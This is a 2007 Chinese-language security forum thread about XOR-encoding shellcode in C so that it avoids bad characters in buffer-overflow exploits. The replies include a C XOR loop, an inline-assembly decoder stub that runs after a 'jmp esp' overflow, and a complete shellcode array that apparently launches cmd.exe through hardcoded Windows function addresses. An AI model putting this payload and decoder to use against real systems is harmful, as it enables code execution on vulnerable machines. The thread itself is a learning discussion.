首页
社区
课程
招聘
[求助]C语言如何实现ShellCode的异或变形
发表于: 2007-3-20 20:52 8972

[求助]C语言如何实现ShellCode的异或变形

2007-3-20 20:52
8972
请问如何用C语言实现ShellCode的按位与0x01异或呢?shellcode是放在数组里的 类似这样:char shellcode[1024] ="\xEB\x02\xEB\...

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 2384
活跃值: (766)
能力值: (RANK:410 )
在线值:
发帖
回帖
粉丝
2
char shellcode[1024] = "\xEB\x02\xEB\...";
int i;
for (i = 0; i < sizeof(shellcode); i++)
{
  shellcode[i] ^= 0x01;
}
2007-3-21 09:30
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
3
__asm
{
mov eax,esp; //这是溢出后执行jmp esp后执行的第一条指令,esp指向当前指令地址,意义是"获得解码程序起址"
add eax,44h; //这个解码子程序有20个字节(解码程序起址+20=code起址,再加上53偏移)使eax指向第一个编码过的0x99
xor [eax],99h //解码第一个0x99,这个操作的意义是"0x99异或0x99=0x00",即还原成0x00
;如果后面还有需要xor的,则继续获取偏移地址,然后从地址中取出数据
}
2007-3-21 21:21
0
雪    币: 236
活跃值: (11)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
4
在csdn上有详细介绍shellcode的文章,那里边有涉及跟这个类似的问题,好像是一篇叫shellcode原理篇,一篇叫shellcode实践篇,自己去baidu搜搜吧~
2007-3-21 22:05
0
雪    币: 154
活跃值: (80)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
谢楼上三位的热心回答,顺便问一下异或后的数组如何写回到文件呢?发现边成了"??肷棂??V?"等类似的东西,如何还是写回成"\xEB\x02\xEB\..."这种呢?
2007-3-21 23:06
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
6
shellcode是放在堆栈中执行的,写回文件做啥?
2007-3-22 11:15
0
雪    币: 154
活跃值: (80)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
是为了解码ShellCode,避免出现0x0d 0x0a之类的特殊字符 在xfocus出的《网络渗透技术》上找到了类似程序 有时间我再研究研究 谢回复
2007-3-22 15:59
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
8
Originally posted by icefall
是为了解码ShellCode,避免出现0x0d 0x0a之类的特殊字符 在xfocus出的《网络渗透技术》上找到了类似程序 有时间我再研究研究 谢回复


这个不需要的,你在shellcode头包含解码程序,那么解码程序执行后,堆栈中的shellcode就已经转换了,不需要写会文件.....

这个是一个大牛的shellcode,直接在堆栈解码...一般shellcode头都包含解码程序....比如: 解码代码+shellcode

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ;这里是解码程序
"\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9" ;shellcode开始位置
"\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45"
"\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72"
"\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45"
"\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C"
"\xC6\x45\xFF\x99\x8D\x45\xF5\x50\xB9\x54"//<=----第一个编码后的0x99,请比较未编码前的相应位置的值
"\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5"
"\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6"
"\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA"
"\x6D\xC6\x45\xFB\x99\x8D\x45\xF5\x50\x52"//<=----第二个编码后的0x99
"\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6"
"\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6"
"\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC"
"\x99\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"//<=----第三个编码后的0x99
"\x8B\xE5\x5A\x59\x5D";
需要在它头部加上以下解码子程序:
__asm
{
mov eax,esp; //这是溢出后执行jmp esp后执行的第一条指令,esp指向当前指令地址,意义是"获得解码程序起址"
add eax,44h; //这个解码子程序有20个字节(解码程序起址+20=code起址,再加上53偏移)使eax指向第一个编码过的0x99
xor [eax],99h //解码第一个0x99,这个操作的意义是"0x99异或0x99=0x00",即还原成0x00
add eax,28h //指向第95偏移
xor [eax],99h //解码第二个0x99
add eax,2eh //指向第140偏移
xor [eax],99h //解码第三个0x99
}
2007-3-23 04:12
0
游客
登录 | 注册 方可回帖
返回
//